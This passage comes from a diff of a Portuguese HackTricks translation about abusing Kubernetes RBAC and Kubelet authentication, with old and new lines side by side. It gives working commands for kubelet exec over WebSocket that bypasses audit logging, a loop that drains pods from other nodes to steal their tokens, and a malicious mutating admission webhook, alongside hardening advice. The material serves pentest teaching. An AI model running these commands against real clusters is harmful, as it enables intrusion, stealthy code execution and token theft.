../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
{{#endref}}
Você tem um exemplo de como obter [**RCE falando autorizado a uma API Kubelet aqui**](../pentesting-kubernetes-services/index.html#kubelet-rce).
#### nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion
### Deletar pods + nós não agendáveis
- O Kubelet mapeia métodos HTTP para verbos RBAC **antes** do upgrade de protocolo. WebSocket handshakes devem começar com **HTTP GET** (`Connection: Upgrade`), então `/exec` via WebSocket é verificado como **verbo `get`** ao invés do esperado `create`.
- `/exec`, `/run`, `/attach`, e `/portforward` não são mapeados explicitamente e caem no subrecurso padrão **`proxy`**, então a questão de autorização torna-se **`can <user> get nodes/proxy?`**
- Se um token tiver apenas **`nodes/proxy` + `get`**, o acesso direto via WebSocket ao kubelet em `https://<node_ip>:10250` permite execução arbitrária de comandos em qualquer pod naquele node. A mesma requisição via o caminho de proxy do API server (`/api/v1/nodes/<node>/proxy/exec/...`) é negada porque é um POST HTTP normal e mapeia para `create`.
- O kubelet não realiza uma segunda autorização após o upgrade do WebSocket; apenas o GET inicial é avaliado.
Principais que podem **deletar pods** (verbo `delete` sobre o recurso `pods`), ou **evictar pods** (verbo `create` sobre o recurso `pods/eviction`), ou **mudar o status do pod** (acesso a `pods/status`) e podem **tornar outros nós não agendáveis** (acesso a `nodes/status`) ou **deletar nós** (verbo `delete` sobre o recurso `nodes`) e têm controle sobre um pod, poderiam **roubar pods de outros nós** para que sejam **executados** no **nó comprometido** e o atacante possa **roubar os tokens** desses pods.
**Direct exploit (requires network reachability to the kubelet and a token with `nodes/proxy` GET):**
```bash
kubectl auth can-i --list | grep "nodes/proxy"
websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol "v4.channel.k8s.io" \
"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id"
```
- Use the **Node IP**, not the node name. The same request with `curl -X POST` will be **Forbidden** because it maps to `create`.
- O acesso direto ao kubelet contorna o API server, então o AuditPolicy mostra apenas `subjectaccessreviews` do kubelet user agent e **não registra comandos `pods/exec`**.
- Enumere os service accounts afetados com o [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) para encontrar tokens limitados a `nodes/proxy` GET.
### Delete pods + unschedulable nodes
Identidades que podem **delete pods** (`delete` verb over `pods` resource), ou **evict pods** (`create` verb over `pods/eviction` resource), ou **change pod status** (acesso a `pods/status`) e que podem **make other nodes unschedulable** (acesso a `nodes/status`) ou **delete nodes** (`delete` verb over `nodes` resource) e têm controle sobre um pod, podem **steal pods from other nodes** para que estes sejam **executed** no **compromised** **node** e o atacante possa **steal the tokens** desses pods.
```bash
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
@@ -641,43 +657,43 @@ while true; do patch_node_capacity <id_other_node>; done &
kubectl delete pods -n kube-system <privileged_pod_name>
```
### Status dos serviços (CVE-2020-8554)
### Status de services (CVE-2020-8554)
Principais que podem **modificar** **`services/status`** podem definir o campo `status.loadBalancer.ingress.ip` para explorar a **CVE-2020-8554 não corrigida** e lançar **ataques MiTM contra o clus**ter. A maioria das mitig ações para a CVE-2020-8554 apenas previne serviços ExternalIP (de acordo com [**isso**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
Entidades que podem **modificar** **`services/status`** podem definir o campo `status.loadBalancer.ingress.ip` para explorar o **CVE-2020-8554 não corrigido** e lançar **ataques MiTM contra o cluster**. A maioria das mitigações para o CVE-2020-8554 apenas evita serviços ExternalIP (de acordo com [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
### Status de s e Pods
### Status de nodes e pods
Principais com permissões de **`update`** ou **`patch`** sobre `nodes/status` ou `pods/status`, poderiam modificar rótulos para afetar as restrições de agendamento impostas.
Entidades com permissões **`update`** ou **`patch`** sobre `nodes/status` ou `pods/status` podem modificar rótulos para afetar restrições de agendamento aplicadas.
## Prevenção de Escalação de Privilégios Integrada
## Prevenção embutida de escalada de privilégios
Kubernetes possui um [mecanismo integrado](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) para prevenir a escalada de privilégios.
Kubernetes tem um [mecanismo embutido](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) para prevenir escalada de privilégios.
Este sistema garante que **os usuários não podem elevar seus privilégios modificando funções ou vinculações de funções**. A aplicação desta regra ocorre no nível da API, fornecendo uma proteção mesmo quando o autorizador RBAC está inativo.
Esse sistema garante que **os usuários não possam elevar seus privilégios modificando roles ou role bindings**. A aplicação dessa regra ocorre no nível da API, oferecendo uma salvaguarda mesmo quando o autorizador RBAC está inativo.
A regra estipula que um **usuário só pode criar ou atualizar uma função se possuir todas as permissões que a função compreende**. Além disso, o escopo das permissões existentes do usuário deve alinhar-se com o da função que ele está tentando criar ou modificar: seja em todo o cluster para ClusterRoles ou restrito ao mesmo namespace (ou em todo o cluster) para Roles.
A regra estipula que um **usuário só pode criar ou atualizar um role se possuir todas as permissões que o role compreende**. Além disso, o escopo das permissões existentes do usuário deve alinhar-se com o do role que ele está tentando criar ou modificar: seja em todo o cluster para ClusterRoles ou confinado ao mesmo namespace (ou em todo o cluster) para Roles.
> [!WARNING]
> Há uma exceção à regra anterior. Se um principal tem o **verbo `escalate`** sobre **`roles`** ou **`clusterroles`**, ele pode aumentar os privilégios de roles e clusterroles mesmo sem ter as permissões.
> Há uma exceção à regra anterior. Se um principal tiver o **verbo `escalate`** sobre **`roles`** ou **`clusterroles`** ele pode aumentar os privilégios de roles e clusterroles mesmo sem possuir as permissões ele próprio.
### **Obter & Patch RoleBindings/ClusterRoleBindings**
### **Get & Patch RoleBindings/ClusterRoleBindings**
> [!CAUTION]
> **Aparentemente, essa técnica funcionou antes, mas de acordo com meus testes, não está mais funcionando pela mesma razão explicada na seção anterior. Você não pode criar/modificar um rolebinding para dar a si mesmo ou a um SA diferente alguns privilégios se você não os tiver.**
> **Aparentemente essa técnica funcionou antes, mas de acordo com meus testes não está mais funcionando pelo mesmo motivo explicado na seção anterior. Você não pode criar/modificar um rolebinding para se dar (ou dar a uma SA diferente) alguns privilégios se você não os possuir.**
O privilégio de criar Rolebindings permite que um usuário **vincule funções a uma conta de serviço**. Esse privilégio pode potencialmente levar à escalada de privilégios porque **permite que o usuário vincule privilégios de administrador a uma conta de serviço comprometida.**
O privilégio de criar Rolebindings permite que um usuário **vincule roles a uma service account**. Esse privilégio pode potencialmente levar à escalada de privilégios porque **permite ao usuário vincular privilégios de admin a uma service account comprometida.**
## Outros Ataques
### Aplicativo proxy Sidecar
### Sidecar proxy app
Por padrão, não há criptografia na comunicação entre pods. Autenticação mútua, bidirecional, pod a pod.
Por padrão não há nenhuma criptografia na comunicação entre pods. Autenticação mútua, bidirecional, pod para pod.
#### Criar um aplicativo proxy Sidecar
#### Criar um sidecar proxy app
Um contêiner sidecar consiste apenas em adicionar um **segundo (ou mais) contêiner dentro de um pod**.
Um container sidecar consiste simplesmente em adicionar um **segundo (ou mais) container dentro de um pod**.
Por exemplo, o seguinte é parte da configuração de um pod com 2 contêineres:
Por exemplo, o seguinte é parte da configuração de um pod com 2 containers:
```yaml
spec:
containers:
@@ -687,15 +703,15 @@ image: nginx
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]
```
Por exemplo, para backdoor um pod existente com um novo contêiner, você poderia simplesmente adicionar um novo contêiner na especificação. Note que você poderia **dar mais permissões** ao segundo contêiner que o primeiro não terá.
Por exemplo, para inserir uma backdoor em um pod existente com um novo container, você poderia simplesmente adicionar um novo container na especificação. Note que você poderia **dar mais permissões** ao segundo container do que o primeiro não teria.
Mais informações em: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
### Controlador de Admissão Malicioso
### Admission Controller Malicioso
Um controlador de admissão **intercepta solicitações ao servidor API do Kubernetes** antes da persistência do objeto, mas **depois que a solicitação é autenticada** **e autorizada**.
Um admission controller **intercepta requisições para o Kubernetes API server** antes da persistência do objeto, mas **depois que a requisição é autenticada** **e autorizada**.
Se um atacante conseguir **injetar um Controlador de Admissão de Mutação**, ele poderá **modificar solicitações já autenticadas**. Sendo capaz de potencialmente realizar privesc, e mais comumente persistir no cluster.
Se um atacante de alguma forma conseguir **injetar um Mutation Admission Controller**, ele será capaz de **modificar requisições já autenticadas**. Isso pode possibilitar privesc e, mais comumente, persistir no cluster.
**Exemplo de** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
```bash
@@ -711,23 +727,23 @@ kubectl get deploy,svc -n webhook-demo
```
![mutating-webhook-status-check.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433436353/yHUvUWugR.png?auto=compress,format&format=webp)
Então, implante um novo pod:
Em seguida, crie um novo pod:
```bash
kubectl run nginx --image nginx
kubectl get po -w
```
Quando você vê o erro `ErrImagePull`, verifique o nome da imagem com uma das consultas:
Quando você vir o erro `ErrImagePull`, verifique o nome da imagem com uma das consultas:
```bash
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "
```
![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp)
Como você pode ver na imagem acima, tentamos executar a imagem `nginx`, mas a imagem final executada é `rewanthtammana/malicious-image`. O que aconteceu!!?
Como você pode ver na imagem acima, tentamos executar a imagem `nginx`, mas a imagem finalmente executada foi `rewanthtammana/malicious-image`. O que aconteceu!?
#### Technicalities
#### Detalhes técnicos
O script `./deploy.sh` estabelece um controlador de admissão de webhook mutável, que modifica as solicitações à API do Kubernetes conforme especificado em suas linhas de configuração, influenciando os resultados observados:
O script `./deploy.sh` instala um mutating webhook admission controller, que altera as requisições à Kubernetes API conforme especificado nas suas linhas de configuração, causando os resultados observados:
```
patches = append(patches, patchOperation{
Op: "replace",
@@ -735,28 +751,28 @@ Path: "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})
```
O trecho acima substitui a primeira imagem do contêiner em cada pod por `rewanthtammana/malicious-image`.
O trecho acima substitui a primeira imagem do container em cada pod por `rewanthtammana/malicious-image`.
## Bypass do OPA Gatekeeper
## OPA Gatekeeper bypass
{{#ref}}
../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
{{#endref}}
## Melhores Práticas
## Boas práticas
### **Desabilitando o Automontagem de Tokens de Conta de Serviço**
### **Desativar montagem automática de tokens de Service Account**
- **Pods e Contas de Serviço**: Por padrão, os pods montam um token de conta de serviço. Para aumentar a segurança, o Kubernetes permite desabilitar esse recurso de automontagem.
- **Como Aplicar**: Defina `automountServiceAccountToken: false` na configuração de contas de serviço ou pods a partir da versão 1.6 do Kubernetes.
- **Pods e Service Accounts**: Por padrão, os pods montam um service account token. Para aumentar a segurança, o Kubernetes permite a desabilitação dessa montagem automática.
- **Como aplicar**: Defina `automountServiceAccountToken: false` na configuração de service accounts ou pods a partir da versão Kubernetes 1.6.
### **Atribuição Restritiva de Usuários em RoleBindings/ClusterRoleBindings**
### **Atribuição restritiva de usuários em RoleBindings/ClusterRoleBindings**
- **Inclusão Seletiva**: Certifique-se de que apenas os usuários necessários estejam incluídos em RoleBindings ou ClusterRoleBindings. Audite regularmente e remova usuários irrelevantes para manter a segurança rigorosa.
- **Inclusão seletiva**: Garanta que apenas os usuários necessários estejam incluídos em RoleBindings ou ClusterRoleBindings. Audite regularmente e remova usuários irrelevantes para manter a segurança restrita.
### **Papéis Específicos de Namespace em vez de Papéis de Cluster**
### **Roles específicas de namespace em vez de Roles em todo o cluster**
- **Papéis vs. ClusterRoles**: Prefira usar Roles e RoleBindings para permissões específicas de namespace em vez de ClusterRoles e ClusterRoleBindings, que se aplicam em todo o cluster. Essa abordagem oferece um controle mais fino e limita o escopo das permissões.
- **Roles vs. ClusterRoles**: Prefira usar Roles e RoleBindings para permissões específicas de namespace em vez de ClusterRoles e ClusterRoleBindings, que se aplicam ao cluster inteiro. Essa abordagem oferece controle mais refinado e limita o escopo das permissões.
### **Use ferramentas automatizadas**
@@ -779,5 +795,8 @@ https://github.com/aquasecurity/kube-bench
- [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html)
- [**https://kubenomicon.com/**](https://kubenomicon.com/)
- [nodes/proxy GET -> kubelet exec WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
- [nodes/proxy GET detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a)
- [websocat](https://github.com/vi/websocat)
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,24 +1,24 @@
# Kubelet Authentication & Authorization
# Autenticação e Autorização do Kubelet
{{#include ../../../banners/hacktricks-training.md}}
## Kubelet Authentication <a href="#kubelet-authentication" id="kubelet-authentication"></a>
## Autenticação do Kubelet <a href="#kubelet-authentication" id="kubelet-authentication"></a>
[**Do docs:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
[**From the docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
Por padrão, as solicitações para o endpoint HTTPS do kubelet que não são rejeitadas por outros métodos de autenticação configurados são tratadas como solicitações anônimas, e recebem um **nome de usuário de `system:anonymous`** e um **grupo de `system:unauthenticated`**.
Por padrão, solicitações ao endpoint HTTPS do kubelet que não sejam rejeitadas por outros métodos de autenticação configurados são tratadas como solicitações anônimas, e recebem um **nome de usuário `system:anonymous`** e um **grupo `system:unauthenticated`**.
Os **3** métodos de **autenticação** são:
Os **3** métodos de autenticação são:
- **Anônimo** (padrão): Use definindo o parâmetro **`--anonymous-auth=true` ou a configuração:**
- **Anonymous** (default): Defina o parâmetro **`--anonymous-auth=true`** ou a configuração:
```json
"authentication": {
"anonymous": {
"enabled": true
},
```
- **Webhook**: Isso irá **habilitar** os **tokens bearer** da API kubectl como autorização (qualquer token válido será aceito). Permita com:
- certifique-se de que o grupo de API `authentication.k8s.io/v1beta1` está habilitado no servidor da API
- **Webhook**: Isto irá **habilitar** os API bearer tokens do kubectl como autorização (qualquer token válido será aceito). Permita-o com:
- certifique-se de que o grupo de API `authentication.k8s.io/v1beta1` esteja habilitado no API server
- inicie o kubelet com as flags **`--authentication-token-webhook`** e **`--kubeconfig`** ou use a seguinte configuração:
```json
"authentication": {
@@ -28,11 +28,11 @@ Os **3** métodos de **autenticação** são:
},
```
> [!NOTE]
> O kubelet chama a **`TokenReview` API** no servidor API configurado para **determinar informações do usuário** a partir de tokens bearer
> O kubelet chama a **`TokenReview` API** no API server configurado para **determinar informações do usuário** a partir de bearer tokens
- **Certificados de cliente X509:** Permitem autenticar via certificados de cliente X509
- veja a [documentação de autenticação do apiserver](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) para mais detalhes
- inicie o kubelet com a flag `--client-ca-file`, fornecendo um bundle CA para verificar os certificados de cliente. Ou com a configuração:
- **X509 client certificates:** Permitem autenticação via X509 client certs
- veja a [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) para mais detalhes
- inicie o kubelet com a flag `--client-ca-file`, fornecendo um CA bundle para verificar certificados de cliente. Ou com a config:
```json
"authentication": {
"x509": {
@@ -40,14 +40,14 @@ Os **3** métodos de **autenticação** são:
}
}
```
## Kubelet Authorization <a href="#kubelet-authentication" id="kubelet-authentication"></a>
## Autorização do Kubelet <a href="#kubelet-authentication" id="kubelet-authentication"></a>
Qualquer solicitação que seja autenticada com sucesso (incluindo uma solicitação anônima) **é então autorizada**. O modo de autorização **padrão** é **`AlwaysAllow`**, que **permite todas as solicitações**.
Qualquer requisição que seja autenticada com sucesso (incluindo uma requisição anônima) **é então autorizada**. O modo de autorização **padrão** é **`AlwaysAllow`**, que **permite todas as requisições**.
No entanto, o outro valor possível é **`webhook`** (que é o que você encontrará **principalmente por aí**). Este modo **verificará as permissões do usuário autenticado** para permitir ou negar uma ação.
No entanto, o outro valor possível é **`webhook`** (que é o que você **principalmente encontrará por aí**). Este modo irá **verificar as permissões do usuário autenticado** para permitir ou negar uma ação.
> [!WARNING]
> Observe que mesmo se a **autenticação anônima estiver habilitada**, o **acesso anônimo** pode **não ter permissões** para realizar qualquer ação.
> Observe que mesmo se a **autenticação anônima estiver habilitada**, o **acesso anônimo** pode **não ter nenhuma permissão** para executar qualquer ação.
A autorização via webhook pode ser configurada usando o **param `--authorization-mode=Webhook`** ou via o arquivo de configuração com:
```json
@@ -59,41 +59,45 @@ A autorização via webhook pode ser configurada usando o **param `--authorizati
}
},
```
O kubelet chama a **`SubjectAccessReview`** API no servidor API configurado para **determinar** se cada solicitação está **autorizada.**
O kubelet chama a API **`SubjectAccessReview`** no API server configurado para **determinar** se cada requisição está **autorizada.**
O kubelet autoriza solicitações de API usando a mesma abordagem de [atributos de solicitação](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) que o apiserver:
O kubelet autoriza API requests usando a mesma abordagem de [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) que o apiserver:
- **Ação**
| Verbo HTTP | verbo de solicitação |
| ---------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| POST | criar |
| GET, HEAD | obter (para recursos individuais), listar (para coleções, incluindo conteúdo completo do objeto), assistir (para assistir a um recurso individual ou coleção de recursos) |
| PUT | atualizar |
| PATCH | patch |
| DELETE | deletar (para recursos individuais), deletecollection (para coleções) |
| Verbo HTTP | verbo de requisição |
| ---------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------- |
| POST | create |
| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) |
| PUT | update |
| PATCH | patch |
| DELETE | delete (for individual resources), deletecollection (for collections) |
- O **recurso** que se comunica com a API do Kubelet é **sempre** **nós** e o **subrecurso** é **determinado** a partir do caminho da solicitação recebida:
- O **resource** que fala com a Kubelet api é **sempre** **nodes** e o **subresource** é **determinado** a partir do caminho da requisição de entrada:
| API do Kubelet | recurso | subrecurso |
| --------------- | ------- | ---------- |
| /stats/\* | nós | stats |
| /metrics/\* | nós | metrics |
| /logs/\* | nós | log |
| /spec/\* | nós | spec |
| _todos os outros_ | nós | proxy |
| Kubelet API | resource | subresource |
| ------------ | -------- | ----------- |
| /stats/\* | nodes | stats |
| /metrics/\* | nodes | metrics |
| /logs/\* | nodes | log |
| /spec/\* | nodes | spec |
| _all others_ | nodes | proxy |
Por exemplo, a seguinte solicitação tentou acessar as informações dos pods do kubelet sem permissão:
> [!NOTE]
> WebSocket-based `/exec`, `/run`, `/attach`, and `/portforward` fall into the default **proxy** subresource and are authorized using the initial HTTP **GET** handshake. A principal with only `nodes/proxy` **GET** can still exec containers if it connects directly to `https://<node_ip>:10250` over WebSockets. See the [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) for details.
Por exemplo, a requisição a seguir tentou acessar as informações dos pods do kubelet sem permissão:
```bash
curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods'
Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy)
```
- Recebemos um **Forbidden**, então a solicitação **passou na verificação de Autenticação**. Se não, teríamos recebido apenas uma mensagem `Unauthorised`.
- Podemos ver o **nome de usuário** (neste caso, do token)
- Verifique como o **recurso** era **nodes** e o **subrecurso** **proxy** (o que faz sentido com as informações anteriores)
- Recebemos um **Forbidden**, então a solicitação **passou a verificação de Authentication**. Caso contrário, teríamos recebido apenas a mensagem `Unauthorised`.
- Podemos ver o **username** (neste caso a partir do token)
- Repare como o **resource** foi **nodes** e o **subresource** **proxy** (o que faz sentido com a informação anterior)
## Referências
- [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
- [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
{{#include ../../../banners/hacktricks-training.md}}